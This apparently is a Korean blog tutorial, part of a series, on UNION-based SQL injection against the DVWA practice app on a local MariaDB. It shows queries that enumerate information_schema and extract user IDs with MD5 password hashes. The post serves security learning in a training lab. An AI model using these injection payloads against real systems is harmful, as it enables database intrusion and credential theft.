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[SQL Injection] DVWA로 알아보는 SQL INJECTION 2 본문

Web Hacking/SQL Injection

[SQL Injection] DVWA로 알아보는 SQL INJECTION 2

sh4n3e 2018. 4. 25. 10:12

어제에 이어 추가적인 정보를 추출하는 방법에 대해서 소개해보고자 한다.


0x05. SQL Injection을 통한 DBMS 정보 수집

DBMS내에는 모든 정보를 아우르는 스키마가 존재한다. 그것의 이름은 Information_schema이다.

우리가 DBMS로 접속하여 show databases; 라는 명령어를 사용하였을때, 우리는 아래와 같은 결과를 보통 볼 수 있을것이다.


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MariaDB [(none)]> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
 
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| dvwa               |
| examdb             |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
5 rows in set (0.00 sec)
cs


위의 경우는 root의 권한을 통해 본 Database 들이며, 아래의 경우는 dvwa에 대한 권한만 존재하는 dvwa계정을 통해 본 결과이다.


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MariaDB [dvwa]> select user();
+----------------+
| user()         |
+----------------+
| dvwa@localhost |
+----------------+
1 row in set (0.00 sec)
 
MariaDB [dvwa]> show databases;
+--------------------+
| Database           |
+--------------------+
| dvwa               |
| information_schema |
+--------------------+
2 rows in set (0.00 sec)
cs


이를 통해 알 수 있는 것은 information_schema라는 스키마는 어느 계정이던간에 접근 가능한 데이터베이스임을 알 수 있다.

그럼 이러한 Information_schema에는 어떤정보들이 존재하는지 알아보자.

show tables;라는 명령어를 통해 해당 스키마 내에 존재하는 테이블들을 조회해 보았다. 그 결과는 아래와 같다.


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MariaDB [Information_schema]> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| ALL_PLUGINS                           |
| APPLICABLE_ROLES                      |
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENABLED_ROLES                         |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_CACHES                            |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| SYSTEM_VARIABLES                      |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| GEOMETRY_COLUMNS                      |
| SPATIAL_REF_SYS                       |
| CLIENT_STATISTICS                     |
| INDEX_STATISTICS                      |
| INNODB_SYS_DATAFILES                  |
| TABLE_STATISTICS                      |
| INNODB_SYS_TABLESTATS                 |
| USER_STATISTICS                       |
| INNODB_SYS_INDEXES                    |
| XTRADB_RSEG                           |
| INNODB_CMP_PER_INDEX                  |
| INNODB_TRX                            |
| CHANGED_PAGE_BITMAPS                  |
| INNODB_FT_BEING_DELETED               |
| INNODB_LOCK_WAITS                     |
| INNODB_LOCKS                          |
| INNODB_TABLESPACES_ENCRYPTION         |
| XTRADB_INTERNAL_HASH_TABLES           |
| INNODB_SYS_FIELDS                     |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP                            |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_SYS_TABLESPACES                |
| INNODB_MUTEXES                        |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_CMP_RESET                      |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_SYS_FOREIGN                    |
| INNODB_METRICS                        |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_CMPMEM                         |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_COLUMNS                    |
| INNODB_FT_CONFIG                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_CMP_PER_INDEX_RESET            |
| XTRADB_READ_VIEW                      |
| INNODB_SYS_SEMAPHORE_WAITS            |
| INNODB_CHANGED_PAGES                  |
| INNODB_FT_DELETED                     |
| INNODB_TABLESPACES_SCRUBBING          |
+---------------------------------------+
78 rows in set (0.00 sec) 
cs


위의 테이블들에는 각각 중요한 정보들이 존재하지만, 우리는 SCHEMATA, TABLES, COLUMNS 를 이용해 원하는 정보를 추출할 것이다.

그럼 SCHEMATA, TABLES, COLUMNS에는 어떤 정보가 존재하는 것일까?


해당 테이블에 대한 정보를 조회한 결과이다.


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MariaDB [Information_schema]> desc schemata;
+----------------------------+--------------+------+-----+---------+-------+
| Field                      | Type         | Null | Key | Default | Extra |
+----------------------------+--------------+------+-----+---------+-------+
| CATALOG_NAME               | varchar(512) | NO   |     |         |       |
| SCHEMA_NAME                | varchar(64)  | NO   |     |         |       |
| DEFAULT_CHARACTER_SET_NAME | varchar(32)  | NO   |     |         |       |
| DEFAULT_COLLATION_NAME     | varchar(32)  | NO   |     |         |       |
| SQL_PATH                   | varchar(512) | YES  |     | NULL    |       |
+----------------------------+--------------+------+-----+---------+-------+
5 rows in set (0.01 sec)
 
MariaDB [Information_schema]> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(2048)       | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)
 
MariaDB [Information_schema]> desc columns;
+--------------------------+---------------------+------+-----+---------+-------+
| Field                    | Type                | Null | Key | Default | Extra |
+--------------------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG            | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA             | varchar(64)         | NO   |     |         |       |
| TABLE_NAME               | varchar(64)         | NO   |     |         |       |
| COLUMN_NAME              | varchar(64)         | NO   |     |         |       |
| ORDINAL_POSITION         | bigint(21) unsigned | NO   |     | 0       |       |
| COLUMN_DEFAULT           | longtext            | YES  |     | NULL    |       |
| IS_NULLABLE              | varchar(3)          | NO   |     |         |       |
| DATA_TYPE                | varchar(64)         | NO   |     |         |       |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_OCTET_LENGTH   | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_PRECISION        | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_SCALE            | bigint(21) unsigned | YES  |     | NULL    |       |
| DATETIME_PRECISION       | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_SET_NAME       | varchar(32)         | YES  |     | NULL    |       |
| COLLATION_NAME           | varchar(32)         | YES  |     | NULL    |       |
| COLUMN_TYPE              | longtext            | NO   |     | NULL    |       |
| COLUMN_KEY               | varchar(3)          | NO   |     |         |       |
| EXTRA                    | varchar(27)         | NO   |     |         |       |
| PRIVILEGES               | varchar(80)         | NO   |     |         |       |
| COLUMN_COMMENT           | varchar(1024)       | NO   |     |         |       |
+--------------------------+---------------------+------+-----+---------+-------+
20 rows in set (0.00 sec)
 
cs


중요한 정보들은 위에 빨간색으로 해놓은 부분이다.


이제 해당 정보를 어떻게 질의를해서 빼낼 수 있는지 해보도록 하자.

우선 해당 계정이 사용할 수 있는(조회할 수 있는) 데이터베이스가 뭐가 있는지 조회해보는 것이다.


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MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1
    -> union select 1, schema_name from information_schema.schemata;
+------------+--------------------+
| first_name | last_name          |
+------------+--------------------+
| admin      | admin              |
| Gordon     | Brown              |
| Hack       | Me                 |
| Pablo      | Picasso            |
| Bob        | Smith              |
| 1          | dvwa               |
| 1          | information_schema |
+------------+--------------------+
7 rows in set (0.00 sec)
cs





해당 UNION SELECT를 통해 우리는 어떤 데이터베이스가 존재하는지 알 수 있게 됐다.

그럼 해당 계정이 사용하는 데이터베이스는 dvwa를 사용하고 있구나 라고 생각하면 된다.


다음으로는 어떤 테이블이 있는지 알아보자.


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MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1
    -> union select 1, table_name from information_schema.tables;
+------------+---------------------------------------+
| first_name | last_name                             |
+------------+---------------------------------------+
| admin      | admin                                 |
| Gordon     | Brown                                 |
| Hack       | Me                                    |
| Pablo      | Picasso                               |
| Bob        | Smith                                 |
| 1          | guestbook                             |
| 1          | users                                 |
| 1          | ALL_PLUGINS                           |
| 1          | APPLICABLE_ROLES                      |
| 1          | CHARACTER_SETS                        |
| 1          | COLLATIONS                            |
| 1          | COLLATION_CHARACTER_SET_APPLICABILITY |
| 1          | COLUMNS                               |
| 1          | COLUMN_PRIVILEGES                     |
| 1          | ENABLED_ROLES                         |
| 1          | ENGINES                               |
| 1          | EVENTS                                |
| 1          | FILES                                 |
| 1          | GLOBAL_STATUS                         |
| 1          | GLOBAL_VARIABLES                      |
| 1          | KEY_CACHES                            |
| 1          | KEY_COLUMN_USAGE                      |
| 1          | PARAMETERS                            |
| 1          | PARTITIONS                            |
| 1          | PLUGINS                               |
| 1          | PROCESSLIST                           |
| 1          | PROFILING                             |
| 1          | REFERENTIAL_CONSTRAINTS               |
| 1          | ROUTINES                              |
| 1          | SCHEMATA                              |
| 1          | SCHEMA_PRIVILEGES                     |
| 1          | SESSION_STATUS                        |
| 1          | SESSION_VARIABLES                     |
| 1          | STATISTICS                            |
| 1          | SYSTEM_VARIABLES                      |
| 1          | TABLES                                |
| 1          | TABLESPACES                           |
| 1          | TABLE_CONSTRAINTS                     |
| 1          | TABLE_PRIVILEGES                      |
| 1          | TRIGGERS                              |
| 1          | USER_PRIVILEGES                       |
| 1          | VIEWS                                 |
| 1          | GEOMETRY_COLUMNS                      |
| 1          | SPATIAL_REF_SYS                       |
| 1          | CLIENT_STATISTICS                     |
| 1          | INDEX_STATISTICS                      |
| 1          | INNODB_SYS_DATAFILES                  |
| 1          | TABLE_STATISTICS                      |
| 1          | INNODB_SYS_TABLESTATS                 |
| 1          | USER_STATISTICS                       |
| 1          | INNODB_SYS_INDEXES                    |
| 1          | XTRADB_RSEG                           |
| 1          | INNODB_CMP_PER_INDEX                  |
| 1          | INNODB_TRX                            |
| 1          | CHANGED_PAGE_BITMAPS                  |
| 1          | INNODB_FT_BEING_DELETED               |
| 1          | INNODB_LOCK_WAITS                     |
| 1          | INNODB_LOCKS                          |
| 1          | INNODB_TABLESPACES_ENCRYPTION         |
| 1          | XTRADB_INTERNAL_HASH_TABLES           |
| 1          | INNODB_SYS_FIELDS                     |
| 1          | INNODB_CMPMEM_RESET                   |
| 1          | INNODB_CMP                            |
| 1          | INNODB_FT_INDEX_TABLE                 |
| 1          | INNODB_SYS_TABLESPACES                |
| 1          | INNODB_MUTEXES                        |
| 1          | INNODB_BUFFER_PAGE_LRU                |
| 1          | INNODB_SYS_FOREIGN_COLS               |
| 1          | INNODB_CMP_RESET                      |
| 1          | INNODB_BUFFER_POOL_STATS              |
| 1          | INNODB_FT_INDEX_CACHE                 |
| 1          | INNODB_SYS_FOREIGN                    |
| 1          | INNODB_METRICS                        |
| 1          | INNODB_FT_DEFAULT_STOPWORD            |
| 1          | INNODB_CMPMEM                         |
| 1          | INNODB_SYS_TABLES                     |
| 1          | INNODB_SYS_COLUMNS                    |
| 1          | INNODB_FT_CONFIG                      |
| 1          | INNODB_BUFFER_PAGE                    |
| 1          | INNODB_CMP_PER_INDEX_RESET            |
| 1          | XTRADB_READ_VIEW                      |
| 1          | INNODB_SYS_SEMAPHORE_WAITS            |
| 1          | INNODB_CHANGED_PAGES                  |
| 1          | INNODB_FT_DELETED                     |
| 1          | INNODB_TABLESPACES_SCRUBBING          |
+------------+---------------------------------------+
85 rows in set (0.00 sec)
cs


select first_name, last_name from users where user_id = '' or 1=1 union select 1, table_name from information_schema.tables;

의 쿼리를 통해 해당 정보들이 조회가 되었지만, 문제가 존재한다. 너무 구분없이 많은 정보가 표시된 것이다.

하지만 걱정없다 우리는 위에서 조회한 schema_name을 통해 where조건문을 걸면 된다.


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MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1
    -> union select 1, table_name from information_schema.tables
    -> where table_schema = 'dvwa';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
| 1          | guestbook |
| 1          | users     |
+------------+-----------+
7 rows in set (0.00 sec)
cs


이렇게 되면 dvwa 데이터베이스 내에 존재하는 테이블이 2개이고, 어떤 테이블이 존재하는지 확인할 수 있게 된다.

그럼 다음으로 해당 테이블의 컬럼은 무엇을 쓰고 있는지 조회를 할 차례이다.


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MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1
    -> union select 1, column_name from information_schema.columns
    -> where table_name = 'users';
+------------+--------------+
| first_name | last_name    |
+------------+--------------+
| admin      | admin        |
| Gordon     | Brown        |
| Hack       | Me           |
| Pablo      | Picasso      |
| Bob        | Smith        |
| 1          | user_id      |
| 1          | first_name   |
| 1          | last_name    |
| 1          | user         |
| 1          | password     |
| 1          | avatar       |
| 1          | last_login   |
| 1          | failed_login |
+------------+--------------+
13 rows in set (0.00 sec)
cs


이렇게 되면, 우리는 쉬운 접근이 가능해진다.

데이터베이스 이름, 테이블 이름, 컬럼 이름 필요한 3가지를 모두 수집하였다.

이제 이 3가지를 가지고 이제 정보를 조회해보도록 하자.



0x06. SQL Injection을 통한 TABLE 정보 수집

이제 우리는 테이블 내의 정보를 조회하면 된다. 
우리는 union select * from users; 라는 형태로 조회를 하면 좋겠으나, 앞의 select문의 컬럼갯수 제한에 의해 모든 컬럼을 다 출력할 수는 없다. (에러가 난다.)
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MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1
    -> select * from users;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select * from users' at line 2
cs


따라서 여기서 CONCAT()함수를 이용하여, 원하는 정보만 쏙쏙 출력할 것이다.

여기서 CONCAT()함수는 문자열을 붙여주는 user_id와 password에 해당하는 string을 붙여서 출력하게 해주었다.


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MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1
    -> union select 1, concat(user_id,':',password) from users;
+------------+------------------------------------+
| first_name | last_name                          |
+------------+------------------------------------+
| admin      | admin                              |
| Gordon     | Brown                              |
| Hack       | Me                                 |
| Pablo      | Picasso                            |
| Bob        | Smith                              |
| 1          | 1:5f4dcc3b5aa765d61d8327deb882cf99 |
| 1          | 2:e99a18c428cb38d5f260853678922e03 |
| 1          | 3:8d3533d75ae2c3966d7e0d4fcc69216b |
| 1          | 4:0d107d09f5bbe40cade3de5c71e9e9b7 |
| 1          | 5:5f4dcc3b5aa765d61d8327deb882cf99 |
+------------+------------------------------------+
10 rows in set (0.00 sec)
cs


우리는 아래와 같은 결과를 뽑아낼 수 있었다. 


다음편에서는 이제 Blind SQL Injection의 원리와 방법에 대해서 알아보도록 하겠다. 



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